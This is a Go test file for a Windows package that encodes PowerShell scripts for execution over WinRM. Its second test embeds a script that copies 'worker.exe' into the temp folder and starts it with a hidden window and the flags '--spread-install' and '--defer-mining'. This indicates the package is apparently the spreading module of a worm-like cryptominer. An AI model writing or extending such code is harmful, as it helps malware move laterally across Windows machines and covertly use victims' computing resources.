//go:build windows

package deploy

import (
	"encoding/base64"
	"strings"
	"testing"
	"unicode/utf16"
)

func TestWinRMEncodePowerShellRoundTrip(t *testing.T) {
	script := `$dest = Join-Path $env:TEMP 'worker.exe'; Start-Process $dest`
	encoded := encodePowerShell(script)
	raw, err := base64.StdEncoding.DecodeString(encoded)
	if err != nil {
		t.Fatal(err)
	}
	if len(raw)%2 != 0 {
		t.Fatal("utf16le should be even length")
	}
	runes := make([]rune, len(raw)/2)
	for i := 0; i < len(runes); i++ {
		runes[i] = rune(raw[i*2]) | rune(raw[i*2+1])<<8
	}
	got := string(runes)
	if got != script {
		t.Fatalf("round-trip failed: got %q", got)
	}
	// sanity: matches manual utf16 encode
	manual := utf16.Encode([]rune(script))
	if len(manual)*2 != len(raw) {
		t.Fatalf("len manual=%d raw=%d", len(manual)*2, len(raw))
	}
}

func TestWinRMSpreadScriptMarkers(t *testing.T) {
	script := `
$dest = Join-Path $env:TEMP 'af-worker.exe'
Copy-Item -LiteralPath 'C:\agent\worker.exe' -Destination $dest -Force
Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
`
	encoded := encodePowerShell(script)
	for _, marker := range []string{
		"Join-Path $env:TEMP",
		"--spread-install",
		"--defer-mining",
		"Start-Process",
	} {
		if !strings.Contains(script, marker) {
			t.Fatalf("script missing %q", marker)
		}
	}
	if encoded == "" || strings.Contains(encoded, " ") {
		t.Fatalf("encoded command invalid: %q", encoded)
	}
}